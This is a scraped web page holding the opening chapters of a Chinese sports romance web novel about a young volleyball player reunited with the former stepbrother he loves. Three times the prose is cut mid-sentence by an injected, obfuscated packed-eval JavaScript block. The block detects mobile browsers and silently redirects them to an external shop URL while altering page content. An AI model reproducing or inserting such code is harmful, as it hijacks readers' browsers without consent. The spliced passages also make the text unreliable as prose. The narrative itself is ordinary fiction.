《我自由人,有事真上[竞技]》 1. 第2颗鸡蛋 赶上了暴雨天气,乐星回的新球鞋踩了一脚烂泥。 站在陌生排球馆的门口,他小心翼翼吹起口中的泡泡糖,生怕它膨胀动静太大,暴露自己的位置。 吹起的粉色糖泡呼应着他小小圆圆的脸蛋,发梢卷着,不过眉,头顶压着棒球帽。新染成粉色的卷毛像狮子狗一样蓬松着,他走进场馆,停在人群之外。 场馆闷热,乐星回试着踮起脚尖,将身高明显不足的身体抻长,往观众目光集中之处张望。旁边有卖冰水的流动铺子,口干舌燥的他却不为所动,生怕错过了这场比赛的开场。 人影像叠扑克,一张又一张压过来,变成阻挡他的不可攀山峦,乐星回再次往前挤挤,嘴里喃喃自语:“让让……不好意思,借过借过。” 身旁的人和他擦肩而过,不小心蹭了下他不合身的牛仔外套。肩膀下面藏着的垫肩,显得他脑袋更小,卖冰红茶的志愿者又一次擦身而过,乐星回探出藏在袖子里的右手,擦了下鼻尖的汗。 北京地铁里的冷风和路面蒸腾的湿热两面夹击,乐星回闻到了他最爱吃的爆米花。 今天是他哥打业余比赛的日子,他特意穿了最贵的衣服来碰碰运气。 前后左右的人越来越多,乐星回一一识别他们的面孔,有一半人都能叫出名字。有些和他组过队,有些一直都是他的对手,排球圈子本身就不是很大。只不过随着时间流逝,他们都长高了,乐星回成为了被遗忘的那个小不点儿。 180的身高在这里就是迷你款,是小人国成员。 不过这些都不重要,只要今天能见到陶最,乐星回愿意勇闯巨人国。他再次踮起脚尖,脚上的新球鞋是联名款,几乎花光了他攒下来的零用钱,只希望见到哥哥的时候光鲜亮丽,让那人眼前一亮。 “让让……让一让,不好意思。”乐星回刚说完,头顶那顶棒球帽被人掀了起来。帽子下面的脸仿佛也被时光遗忘,虽然他不算发育迟缓,可青春期分泌的雄性激素并没有给他轮廓深刻的五官和凸出的喉结,喉咙上只有小小一颗。 眼前人扬着手里的帽子:“哈哈,这不是曾经的大主攻乐星回嘛!怎么,上大学了变这么低调?” 乐星回一眼认出曾经的手下败将,可如今要仰头看他。“你把帽子还我!” “呦,还挺凶……想要帽子就跳起来拿。”拿帽子的人故意喊得声音洪亮,引得周围侧目纷纷。四周的目光不负众望朝乐星回集中,认出他的人也越来越多。 乐星回想要回帽子,无奈如今的自己已经无计可施。 面前嘲笑他的人已经长过两米,乐星回气馁地往上够了够,总是差一点点。他生日很小,还有半年才成年,和人家20岁的相比简直是鸡蛋碰石头。那人又故意看好戏,每次乐星回往上够他偏偏往上抬,笑声透着报复的快意。 “还烫了个小粉毛,上了场生怕别人看不见你,小哭包。”尾调明显上挑,挑衅又轻蔑。竞技场上全是胜负,输过球是要记仇的。 “闭上你的臭嘴!”每个字都变成一根刺,深深扎进乐星回的心。 他双腿微微弯曲,蓄力下压身体的重心,小腿肌肉肉眼可见在绷紧。虽然在一群男排运动员里像个迷你手办,比人家矮一头,但得益于骨架的纤薄,乐星回的起跳也比其他人轻盈。 趁那人不备,乐星回脚踝发力,轻巧一跃。手指尖微微一勾,棒球帽重新回到他的手中,拿回帽子还不解气,他朝着那人的小腿用力一踹,然后头也不回地跑出了排球馆。 身后只有一阵不在意的嘲笑,仿佛验证了那句“当一个人很矮小的时候连愤怒都那么可笑”。乐星回垂头丧气跑出笑声的包围圈,一口气跑到马路边,明知道这时回头什么都看不到,可他还是回头瞧了一眼,张望着,寻找那个好久不见的身影。 唉,又没瞧见陶最。 沮丧贴着他的皮肤,想见哥哥的渴望变成了雨滴,顺着他皮肤到处乱淌。淌过他还没褪去婴儿肥的面颊,淌过他膝盖两侧的生长纹,弄得他浑身湿透,淋湿了一片。然而让他再冲进去一次,乐星回又没了气魄。 他一直都不是一个很有气魄的男子汉。有哥哥在的时候还可以狐假虎威,别人说他是“狗仗人势”,那又怎么啦?当小狗不好吗?小狗也有自己的快乐。 头顶叶片上的雨滴打在他的帽檐上,乐星回将口香糖吐掉,在心里反复安慰着自己。因为他也料到哪怕见着了陶最,那个人也不会多热情,说不定都不会和自己说话。陶最忽视别人的能力应该是与生俱来,别人绞尽脑汁都不如他随口一句。 又开始下雨了。 豆大的雨点和弹珠一样大的冰雹淘气地砸在乐星回的身上,不得已,他只能调转路线去等公交车。等车的人不多,连整列队都排不齐,乐星回躲在公交车站的保护下,伪装得一败涂地,用扫描式的目光打量周围全部的细节。 妈妈和陶叔叔离婚这几年,原来陶最就住在这附近,在刚刚那个场子里打野球。 附近没有太新的居民楼,深棕色的楼体像一块一块排列整齐的巧克力,引诱乐星回去猜想陶最到底住在哪一栋。关于陶最为什么没有和陶叔叔一起住,这个问题乐星回不得而知,就连这个消息都是他从陶最的发小口中费尽心机打听出来。 他在外面租了房子,自己住。 乐星回的想象力被雨点声放大,小最哥的风吹草动都是雨滴,淋得他无处躲藏,哪怕躲在干燥的棚子下方,潲入的雨水还是在他的皮肤上画图,弄湿他半条手臂。那个出租屋是几居室?一居,还是两居?他一个人住,总不能是三居室吧? 应该……是他一个人住吧? 小最哥是10月份的生日,去年高三刚刚开学他就18岁了,再过一个多月他就19岁。他上学晚了一年才和自己同一届,提前变成成年人的他应该不会交女朋友吧?高三那一年,他会不会和女朋友同居?陶叔叔不和他在一起,也管不了他。 乐星回对此深信不疑,他坚信世界上没有一个人能管陶最。倒不是陶最多么叛逆,而是他对任何人都不怎么在意,不在意也就无所谓了。 他不会给自己找了个嫂子吧?他们在一起会干什么?会拥抱吗?像他小时候抱着自己那样。他们会接吻吗?乐星回摸了摸嘴唇,无法想象冷冰冰的陶最热烈又浓烈地亲一个人,和那个女生交换唾液,把舌头喂给彼此吃。 他们……会上床吗? 乐星回无来由地打了个冷颤,他为此刻不着调的幻想感到羞耻,又无法停止。他没见过女生的身体,但陶最的身体他曾经见过无数次,小时候自己坐在大盆里洗澡都是他抱着,后来淋浴,陶最也是先冲完他自己,再给自己洗。 幻想中他又看到了陶最的身体,抽条时期他很瘦,比自己高很多。变声期仿佛一夜之间给乐星回换了个哥哥,某天睡醒一觉,陶最就已经进化完毕。 乐星回又想到他冬天最喜欢穿的高领灰毛衣,想起他写卷子时下意识叼起高领的嘴,想起他无意间用虎牙尖撕扯的干燥的嘴唇。他能想到很多,可就是想不出陶最在床上到底什么模样。 他会对嫂子温柔吗?会哄着女生脱衣服吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16875569|191890||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事后会抱着她一起温存睡觉吗? 雨点逐渐变得稠密,水蒸气扑鼻而来,乐星回连忙戴上耳机,也就什么都不敢再想了。只要不去触碰这个伪命题,小最哥永远都是单身。 等乐星回迈进家门时,这场雨还没停,似乎在追着他下。他有些懊恼,他追着陶最,雨又追着他,下来下去淋湿的只有自己一个。在入门鞋垫蹭掉鞋底的泥泞,乐星回进了屋,他喊了一声“我回来了”,手里拎着刚刚在楼下买的鸡蛋。 脚上踩着小乌龟拖鞋,乐星回洗了手,便一头扎进厨房。再有6天就是9月1号开学日,他正式变成大学生,学会做饭也正式被他提上了日程。这个月初北体大有军训,全国各路武状元齐汇堂,乐星回作为排球运动员什么奖状都没捞到,也没有瞧见陶最。 陶最连军训都没参加,明年要补了。乐星回是揣着满心希望去的,大失所望而归,可他并不气馁,马上开学,陶最他得上课,到时候他们还是会碰见。 伴随着他有一搭无一搭的思考,圆形平底锅热得冒烟,乐星回快速倒油进去,打了一颗鸡蛋。荷包蛋总得会吧,以后万一陶最带他回秘密住处呢,他还能展示一把象征着长大成人的厨艺。 只是好景不长,几颗滚烫的油星打破了乐星回关于一步跨入成年人的美梦,他嗖地收回右手,甩一甩,一把拧关了火苗。手背上没留下任何痕迹,可猝不及防的疼还没消散,乐星回叹气声随之而来。 “乐乐,你在厨房干什么呢?”孙晴在客厅听到厨房的动静,一只手紧张地搭在椅背上。 用凉水洗了一把手,乐星回擦着手出来。“我在练习炸荷包蛋……咦?妈妈,你染头发了?” 孙晴站在桌旁,少见得染了全头。平时她总是节省,染发膏只在家里染染发根,遮盖白发,今天齐锁骨的头发都染成了棕色。乐星回欣喜地绕着她看:“好看好看,这个颜色好看,年轻!” “妈妈早就不年轻了,染什么颜色都一样。”话是这样说,可孙晴的右手在鬓角旁拢上一把,居然脸红了一层,“乐乐,坐,妈妈有事情要告诉你。” 乐星回抽出椅子,两条雪白又细瘦的大腿并拢:“什么事?”他已经猜出一二,妈妈应该是谈了男朋友,高考前他就发现了,妈妈晚上有时候偷偷打电话,只不过他装看不到。 “这件事……”孙晴尴尬地笑了下,大人在孩子面前提感情,她还没有做到大大方方的程度。话说出去没了下文,乐星回眼巴巴地等着她宣布,索性,孙晴不再拐弯抹角:“妈妈又要结婚了。” 果然是。乐星回反而长出一口气:“好啊,不过这次要好好选男人。” 妈妈一共经历过两次婚姻,第一次就是自己的生父。她从未提过那段婚姻如何,只是偶尔从姥爷姥姥口中听得只言片语,实属遇人不淑,惨烈收场。第二段便是陶叔叔,乐星回还以为他们会白头偕老,可是在中考之后两个人分开了。 他们的分开也直接促成了陶最的离开。乐星回刚想问问这次的叔叔有没有孩子,就算有,再婚家庭子女的关系也不会变成自己和陶最那么难以释怀,刚想问,孙晴柔和的五官再次挤出浓烈于方才百倍的尴尬。 “这次……还是你陶叔叔。一直没告诉你,怕影响你高考。”孙晴偏过头去。 乐星回这才注意到,妈妈的左耳垂又戴上了陶叔叔曾经送给她的珍珠耳钉。 妈妈她,要和陶叔叔复婚了? 茫然中乐星回站了起来,快步跑向他刚刚放弃的厨房,拧开火苗,在还未冷却的热油里打下了第2颗鸡蛋。 2. 空心人 乐星回暂时失去了听力,然而又能听到窗外的雨声。如果他没有记错,他和小最哥的第一次见面就是下雨天。 但那是冬天的雨夹雪,和现在的盛夏暴雨天差地别。那天很冷,乐星回低着头,拉着妈妈的大手,在雨夹雪里艰难又妄想自力更生地大步前进。他一直没有抬脑袋,冷得缩脖子,不明白为什么雨点落在雪地里就变成一个一个小窟窿,小窟窿里会不会钻出虫子? 紧接着他一头撞上了一个人,不是大人,是小人,比他高一头的小人。乐星回坚信后来他对小最哥的暗恋就是那场雨夹雪的后续,冷,但是又让他忘记了头脑里的一切,什么小窟窿、小虫子,都不再记得了。 孙晴的脚步声随之而来,又停在厨房门口。“乐乐,你是不是不高兴?其实……我和你陶叔叔的情况很复杂,我们的婚姻……” “妈妈。”乐星回猛然转了过去,他也不确定是不是有油星又飞溅到他手背上,“你爱他吗?愿意继续一起生活的爱,不是随便凑数、过日子的爱。不是你为了给我再找一个爸的爱,是你自己的爱。爱情的爱。” 孙晴若释重负,双肩也松弛地沉了下去。乐星回顿时明了,答案是肯定。 “爱。”孙晴只说了这一个字。 “那就行。”乐星回笑了笑,“你们当时分开,我以为是你们已经没爱情了。爱这个事……我觉得很重要,非常重要,没有爱就不能结婚。这就像我们打排球,没有热爱就没法打一辈子……陶叔叔什么时候回来?” 房子是妈妈当年力排众议自己买的,作为一个单亲妈妈,孙晴第一件事就是先买房。等她和陶叔叔结婚,房子重新改装,将之前的两居室变成了三居室,一家四口都住在这里。 至于为什么妈妈执意不和陶叔叔换房、搬家,乐星回不知道答案。 “在你大学开学之前吧。”孙晴停顿,又说,“你不怪妈妈吗?” “我为什么要怪?陶叔叔人很好,比起你们为什么复婚,我更不明白你们为什么会离婚。”这是乐星回的心里话,他转过去,漫不经心夹着单面荷包蛋,心思和橙黄色的鸡蛋黄一样流得显而易见,“陶最什么时候回来?” 自从他初中告白失败后,乐星回就改了口,直呼其名。 “恐怕晚一些吧,妈妈也不清楚,那孩子跟风似的,连他爸都摸不透他。”孙晴无奈地摇摇头,小最什么都好,就是人冷了些,活得太随性了。她至今不知道什么事情能让陶最真正往心里去,或者能让他加把劲儿地追逐。 “哦,爱回来不回来。”乐星回说。 锅里的蛋黄和蛋清搅在一起,变成了黄白色的八卦图。“晚一些回来”在陶最身上相当于“不回来了”。那个人已经长大,他有了独自居住的住所,他高中都不和陶叔叔一起住,大学了又怎么会回来。 乐星回揉了揉手背,热油烫得真疼。 这一场雨等到晚上他洗完澡才停,简简单单冲了个快澡,乐星回脖子上挂着毛巾,推开的却是陶最以前住的那间卧室。因为房屋的布局改动,除了妈妈的主卧,他和陶最的次卧都挺小。 陶最离开那天,乐星回谎称在上课,没有回来送他。 他应该是全体打包带走了,衣柜里什么都不剩。乐星回偷偷躲在楼下的树后面看他上了车,忽然间就讨厌死他了,讨厌他收拾得太利落,讨厌他上车之前没有回头看看曾经住过的楼。他收拾了10个大箱子,从书籍、奖杯到衣服、模型,全套带走,没给乐星回留下一样物品进行回忆。 他的衣服都被真空打包,把十几年的生活痕迹打了个压缩包,瘪瘪的,带走了。乐星回鼻梁骨哭得通红,他开始诅咒陶最,咒他回了新家给衣服解压缩的时候被快速膨胀的羽绒服弹开,刚好弹到脸上,流鼻血。 至于后来有没有弹到,乐星回也不得而知。他只知道陶最根本没回他家,直接租了房子,开始了一段崭新的生活,仿佛他人生中前16年根本没有一个叫乐星回的弟弟。 乐星回爬上了陶最睡过的床。 床上早就没了四件套,只有光秃秃的床垫。乐星回面朝下,试图吸取曾经这里留下的气味。他经常偷偷溜进这屋睡觉,有时候睡在床上,有时候睡在柜子里,小时候他们捉迷藏,乐星回躲在柜子里,衣服后面,用陶最的校服裹着脑袋。 陶最每次找到他,都会说一句“你真笨得可以”。 乐星回总会嘟哝一句“我才不笨”,现在他明白了,自己就是笨得可以。陶最早就用各种方式提醒过他,不要陷入兄弟之情的幻觉里,他们没有血缘关系,是重组家庭,他永远不会是自己的哥哥,自己也永远不是他小弟弟。 乐星回气恼地啃了一口床垫,他怎么就做不到陶最那样看淡一切呢?可能因为自己不是他那样的空心人吧。 第二天上午,乐星回是从陶最的房间醒来。 昨晚他越想越气,既然陶最都不回来了,凭什么他的房间不能给自己用?反正空着也是空着。以后两个次卧都是自己用,一个用来睡,一个用来当书房,放展示柜,把排球奖杯和奖牌全挂着,挂一屋。 “哈……”他打着哈欠,“妈妈?妈?” 奇怪,这时候家里怎么没人?乐星回走向客厅,忽然听到门口有动静,是妈妈和谁在说话。他竖起耳朵,那声音再熟悉不过,是陶叔叔! “你怎么这么早就来了?”孙晴问。 “我给你和乐乐买了早点……”是陶俊梧的声音。 陶叔叔?他来了,是不是陶最也……乐星回不带犹豫地扎回自己卧室,翻箱倒柜地找起衣服。攒起来的零花钱全被乐星回买了新衣服,他想开学穿好点去交朋友,现在套上一件新T恤,一条牛仔裤,乐星回又去洗手间擦了把脸,把一头粉色的小卷毛揉了揉,揉出造型。 镜子里的他和当年差不多高,高中3年他几乎没长。他还是那么瘦小,单薄,像发育不良的豆芽菜,练不出充满性张力的肌肉。他小心翼翼迈出去,陶俊梧已经在客厅里,打量着一切,自然也看到了他。 “乐乐!”陶俊梧两三步过来。 被陶叔叔抱在怀里时,乐星回鼻腔有些发酸,但他忍住了,他不再是初中时爱哭的那个哭包。陶叔叔和陶最是两种完全不一样的男人,他热情、细心、喜欢逗妈妈高兴,对自己也很好,他比自己高半头,几年没见完全没变化,好像只是出了个差。 “陶叔叔好。”乐星回揉了揉鼻尖。 “变成大孩子了!”陶俊梧捏了捏他的肩膀,“也长高了!头发是新染的吧?” “嗯,新染的,不过我只高了2厘米。”乐星回又揉揉鼻子,从178到180,差别应该不大。接下来他什么都没问,话都烂在肚子里,妈妈关上的防盗门已经给他画了重点,后面没有人,只有陶叔叔一个人。 客厅里还立着两个大行李箱,看来今晚他就不走了。 和乐星回猜得差不多,晚上陶叔叔进了厨房做晚饭,熟练地套上了围裙。吃饭时他陆陆续续问着乐星回高中时的细节,乐星回能感觉到,有些事情妈妈和他说过,他们一直没有断了联系吧? 好像和他们第一次结婚差不多,陶叔叔来家里做饭,给自己夹菜,然后他和妈妈去领证。不同的是他整顿饭都没提陶最。 这一天晚上,乐星回仍旧睡在陶最的卧室里,并且开始把自己的衣服往这边搬。 再睁眼已经是早上,乐星回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16875570|191890||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顶着乱蓬蓬的头发在客厅找大人,只在餐桌上找到妈妈和陶叔叔的字条。他们去山姆超市大采购,早饭在微波炉里,让他热一热再吃。乐星回简单地咬了一口面包,收到了快递员的消息。 楼下的安保不在,门打不开,快递小哥把小包裹放在1层大厅里了。 反正无所事事,乐星回简单地套了件皱巴巴的旧T恤,踩上帆布鞋的后鞋帮下了楼。包裹不少,他蹲在纸盒子堆成的山里寻找自家楼牌号,直到翻出了908。在电梯里拆开纸盒,是他买的电动刮胡刀。 现在还用不上,可自己以后总能用上。乐星回到了家门口,用密码解锁,还没进屋就看到玄关处放着一个黑色的包。 奇怪,陶叔叔和妈妈回来了? “我回来了。”乐星回换他的乌龟拖鞋,缓步走入客厅。北京很少有湿度这样高的日子,把他的视线和记忆黏在一起,产生了时光倒流,再一次看到那个人的背影。很高的人站在卧室门口,穿黑色运动夹克,牛仔裤,右手轻而易举地压着门框最上沿,戴一顶棒球帽。 乐星回停下了脚步。 和回忆里的一样,又不太一样。乐星回本能地拒绝盯着他看,手指却抠住了电动刮胡刀的开关,一不小心打开了它。回忆里的灰色高领毛衣再次冲入他的视觉,他清晰看到陶最做数学题时咬掉的那块嘴皮,一不小心撕出血来,又被陶最舔没。抽条期的陶最有着独特的瘦,校服领口撑出一块空隙,突出的骨节顺排往下。 乐星回往前两步。 现在那种瘦已经没了,陶最变成了自己梦寐以求的那种身型,高了近乎一头。他安静地站在卧室门口,比陶叔叔还自然,陶叔叔最起码还拉着箱子,像出差归来,陶最就拎了一个包,像打了一场排球,就回家洗漱吃饭。 乐星回变成了海绵,把空气里水分子都吸入喉咙,吞不下去又呼不出来。再往前走,陶最那只手放下来,轻松地回过身,猝不及防让乐星回对视上。乐星回开始后悔,为什么下楼不穿昨天那件衣服,为什么不打理发型,为什么不洗脸,他还是像小时候,笨拙邋遢,捧着一个莫名其妙的刮胡刀,站在陶最后面。 自己应该说点什么?说好久不见还是欢迎光临?乐星回故意去瞪陶最的眼睛,他哥是内双,眼梢微微上挑,瞳仁却很黑。糟糕,他真的越来越帅了,乐星回眨了眨眼睛,发誓要说出惊世骇俗的狠话,但他曾经的诅咒都应验在自己身上,被反弹了回来。他哥带走的行李箱没有被解压缩,他才是那个压缩包,他在陶最观察般的目光里被一览无余地解压,变成可以一目十行的代码,让他不费力地获取信息。 “你怎么回来了?”乐星回喉咙里好干。 他的双眼皮褶皱里有一颗小痦子,眨眼才能看出来,不眨眼就藏着。小痦子变成了信号灯,高频率闪烁。 “我怎么不能回来了?”陶最也开了口。 语调有些懒散,还有淡淡的嘲笑?乐星回并不意外,陶最回答别人的问题一向敷衍。他故意撒气:“这是我家,又不是旅馆,你想来就来、想走就走?你都不问问我最近怎么样吗?” 他看到陶最笑了一下,露出了雪白尖锐的虎牙。他想,他哥顶着这样一张脸邀请女朋友同居,女孩子确实会答应的。男孩子也会答应。 “哦。”陶最确实是笑了,反问,“那你最近怎么样?” 又是把问题抛回来,或许认真回答别人的任何问题,对陶最都是一种累赘。乐星回重新整顿气势,看着陶醉头上轻而易举就很好看的刘海,看着陶最鲜明的五官:“陶最,我告诉你,我现在已经不喜欢你了。” 陶最只是轻笑着点点头,不紧不慢地回答:“那我确实要谢谢你了。” 3. 你们真俗 “你说话好讨厌。”乐星回皱了皱鼻子。 什么叫“谢谢”?他至今都不明白陶最这句“谢谢”是怎么来的。初中时他偷偷把情书放在陶最的枕下,期待他会发现。乐星回自认为陶最是喜欢他的,最起码不会一点感觉都没有吧。 他连上幼儿园、上学,都可以为了自己晚上一年,只为了和自己同一届。他还很喜欢抱自己,乐星回本身就是在哥哥怀里长大的小孩儿。在训练场馆里没有横椅坐,他都直接坐陶最的腿上。 要说告白这事,乐星回可不觉得陶最无辜。这是一场明晃晃的诱恋! 可是等第二天,乐星回揣着小鸟一样的雀跃心情等在陶最门口,陶最拿着情书走了出来。淡粉色信封怎么收就怎么还,轻轻又重重,放回乐星回手中。 乐星回以为他没看,翘首以盼地问:“你看了吗?” “看了。”陶最还知道点头。 “那你不说点什么?小最哥,我喜欢你。”乐星回连忙追问。站在他的高度上,他分辨不出陶最脸上移动的神情是什么意味。只知道挺直腰杆,尽量让自己显得高一些,漂亮些,两个人的身高差小一些。 陶最低头问:“是该说点什么。你想让我说点什么?” 他肯定对收情书这件事习以为常了!乐星回坚定地确信了,所以眼里晶晶亮的光芒在消失:“说……”说你也喜欢我,就是这个,特别喜欢我,像我喜欢你一样喜欢我吧。 “说你心里话。”乐星回几乎用自报家门的方式说。 陶最在等待他说完的过程里没有插话,但也没有认真聆听,反而说:“谢谢?” 时间过去这么久,乐星回已经不再等待陶最给正面回应。“我告诉你,你不要想着这么容易就回来,这个家是我的,我不让你住你就不能住。” “这样啊。”陶最摘掉棒球帽,干笑了一声,“那我走了。” 他真要走,朝着地上的包过去。要是别人,乐星回不上当,这肯定是缓兵之计,是以退为进。但陶最不是这样的,陶最他不为任何人停留驻扎,他说走就走。 “陶叔叔知道你回来了吗?你总该和他打个招呼吧?”乐星回用肩膀顶开他,这样的动静让他想起一个成语,螳臂当车。 陶最纹丝不动:“他不知道。” “那你等他回来再走,不然……不然他们会以为我把你轰走了!我不是没礼貌的人。”乐星回霸道地说。 陶最转回来,看不出是什么态度:“本来就是你把我轰走的吧?” 乐星回仔细考虑几秒钟,他好像又搞砸了,比当年冒冒失失写情书还要糟糕:“我没有,你别血口喷人!你这些年在外面租房子,过得太独了,你根本不考虑别人的感受。” 陶最垂下脸,像个施压者那样看他。乐星回刚才中气十足,辗转了几个话题就变成了底气不足。他说漏了嘴,陶最肯定要生气自己发疯一样打听他的个人隐私。 “你知道我住哪里?”陶最答非所问一样地问。 乐星回低头看着他的包,看着乌龟拖鞋,看着廉价的刮胡刀。方才他胡乱打开的刮胡刀已经耗干了最后一点储存电量,岌岌可危亮起了红灯。这红灯绝对是在提醒他,不要说实话,所以乐星回摇了脑袋。 “你不会还找过我吧?”陶最问。 他理所当然地往下问,把乐星回转移怒火的勇气又给问没了。他看着陶最运动夹克里的白衬衫,衬衫上有一个箭头一样的标志,脖子上还多了一条项链。乐星回看不出项链的品牌,大概率是名牌货吧,陶叔叔可疼陶最,什么都给他最好的。是他自己不亲近家人。 “所以找着我了么?”陶最再问。 乐星回脑筋一转,又失落起来,声音从不甘心的咽喉挤出来,每个字都那么清楚。“你这项链是情侣的吗?” “算是吧。”陶最居然没否认。乐星回皱眉皱到鼻梁骨的皮肤都紧蹙了,嫉妒这种情绪把他填充得鼓鼓囊囊。无论另外一条挂在谁脖子上,他都会嫉妒的,女生男生都一样。凭什么陶最的另一半可以光明正大和他戴情侣饰品?这是否太不公平?世界应该多一条法律——禁止人类佩戴情侣产品。 不,是单单禁止陶最给别人戴情侣饰品。陶最他不懂爱情,他给别人戴项链就像戴狗链一样。 “你真俗。”乐星回偷偷往他脖子上瞅,“我的意思是,你们真俗。陶最你听明白了吗?你们,真俗。” 陶最还没回答,防盗门又一次响了起来,是顺利的开门音。先进屋的是孙晴,她愣了一下,眉眼被笑意压弯:“小最回来了?吃早饭了吗?饿不饿?” “还行,刚进屋,差点让人轰出去。”陶最没和乐星回周旋。孙晴马上回身找陶俊梧要说法,说孩子要回来你也不知道提前说,家里都没准备,等等。陶俊梧一脸大无辜地拎着蔬菜,最后笑着说:“我也不知道他回来。” 这是真的,乐星回可以举手发誓替陶叔叔作证,他肯定不是故意隐瞒。可能是刚才吃瘪的缘故,乐星回真想奔到陶叔叔面前去告状,陶最他不老实,高中三年他肯定不是一个人住,他交女朋友。 但他没说,姑且算饶过陶最吧。只要他别把女朋友男朋友带到自己面前,乐星回就装不知道这事。 事情变得好奇怪,几天前家里只有自己和妈妈,忽然陶叔叔回来了。然后陶最也回来了,一键转换时光按钮,居然和几年前一样的配置。大人买了大闸蟹,中午他们就吃这个,乐星回装模作样在家里看电视,等陶最开始收拾他的包时,他抬起一条腿,拦路虎似的拦住他。 “等一下。”陶最说,“我先把东西拿出来。” 他预料到自己要问他事情,可是又自顾自去收拾行李。乐星回看着他从包里拿出一个透明水族箱,箱子里趴着一只乌龟,就是陶最小时候养的那一只。3年不见,连乌龟都长大了好几圈,自己却只高了2厘米。 乐星回挫败地找茬:“我还以为你会把它扔掉呢。你这么狠心的人,一定趁着它冬眠的时候处理掉。” “谁套的,谁负责,是不是?”陶最把水族箱放在采光最好的地方。 乐星回的找茬行为以失败告终,乌龟是他在龙潭湖庙会套圈套的奖品。当时他哭闹着说自己套的自己负责养大,结果拿回来一天没管。“你别给养死了。” “我为什么会养死啊?”陶最又拿出一包龟粮。 “因为你是动植物杀手。你养花从来养不好,养绿植只有死路一条。我了解你。”乐星回萌生出一份小确幸,陶最能养乌龟这么久,是不是对自己有点想念? “是,明天它就死了,你记得埋楼下,找个阳光充足的地方。”陶最顺着他说。 “你干嘛咒它。”乐星回用小巧灵活的脚趾头夹住拖鞋,往陶最的屁股上踢。只不过陶最的腿太长了,只踢到大腿后侧。 “谁让我是动植物杀手呢。”陶最头也不回地回答,也没管那只意图不轨的拖鞋。 乐星回单腿蹦,踩着地暖到他旁边,像乌龟晒太阳一样伸长了脖子。陶叔叔还问他染发的事呢,陶最进屋都一个多小时了,他又忽视自己。他急于听到这个人关于自己的任何评价,故意揉了揉脑袋:“你给它起名字了吗?” 陶最摇摇头:“没有,就叫乌龟。” “为什么不起啊……”乐星回的心情像可乐翻腾的气泡,充满干劲地冲上去,再毫无悬念地碎掉。是自己多想了,陶最根本没想过自己,他要是想了,他会给乌龟起名字,起和自己有关的名字。 “它有名字,从生物学上讲,人家就叫乌龟。你说的‘名字’是起外号,我给你起外号,你高兴么?”陶最反问。阳光刚好斜照在乐星回的脸上,乐星回头上粉色的光照在陶最的脖子上。 两个人一起变粉了。 乐星回气得扭头就走,他再也不要和陶最说话。 大闸蟹蒸好,陶俊梧捏着螃蟹上的绳子,先给孙晴拎了一个。孙晴在桌下踢他,眼神示意他,先给孩子们拿啊。陶俊梧点点头,咱们螃蟹这么多,又不是不够分,可是没等他再上手,陶最拎了一只螃蟹,放在自己盘子里。 陶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16875571|191890||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 俊梧连忙看孙晴,你瞧,这孩子。 “小最这两年长高不少吧?”孙晴连忙圆场。 陶最像外科医生一般精准地拆绳子,五花大绑的螃蟹没有抵御能力,被他直长的手指掰.开腿,压着腿根,按住了肚脐的位置:“还成,够用。” “他可别再长了,都两米了。”陶俊梧给陶最倒了螃蟹醋,“来点儿姜丝。” “两米只算够用。”陶最点了下头。 “只算够用?”孙晴不这样想,今天再见小最已经惊着她了。他离开时也就185,怎么3年下来,小孩子变了模样。 “二传这个位置算够用,打主攻不够用。现在国家队教练挑人都只看两米往上,除了二传和自由人,其余的矮了不要。”陶最把螃蟹分开了。 乐星回的螃蟹是妈妈给掰,他用小勺挖蟹黄,自己也变成了陶最手里的螃蟹,被掰开了腿根,压着肚脐,露出缺陷。他就不够高。 陶俊梧见乐乐脸色不对,连忙说:“干嘛挑那么高的……我有一次看你比赛,场上的孩子高得吓人!” 陶最只耸了一下肩膀,笑着,就把责任推卸出去:“规定又不是我来定,排联也没定,但打排球确实越高越好。” “叔叔,我想喝点暖胃的酒。”乐星回打断了陶最的伤人发言,对对对,全家就你高,“吃螃蟹我胃寒,我要喝酒。” 陶俊梧看了一眼餐桌的对角线:“小最,给弟弟拿一下。” 陶最一声不吭,身体往后仰了仰。乐星回希望他不给自己拿,说点“你成年了吗就喝酒”的劝告。可陶最的手臂穿过他后颈,越过他肩胛,把温热的黄酒放在他的面前。 他就不怕自己喝出点事吗?乐星回转念一想,不会,他不怕,陶最的思维模式和正常人不一样,他从来不劝,一切都是你自己选,所以你自己负责吧。就像自己喜欢他,是自己选的,所以和他没有半分关系。 但刚才他拿酒的动作,乐星回要把它归为“一个单臂拥抱”来解读。尽管它稍纵即逝。 到了晚上,孙晴现买的床上四件套也烘干了,陶最抱着它们回屋。乐星回把自己关在卧室一下午,一直闷头在网上研究“如何攻克风向天秤男”,出来喝水的时候撞上。 “等等!”他慌张张拦住陶最,“你别进去!” 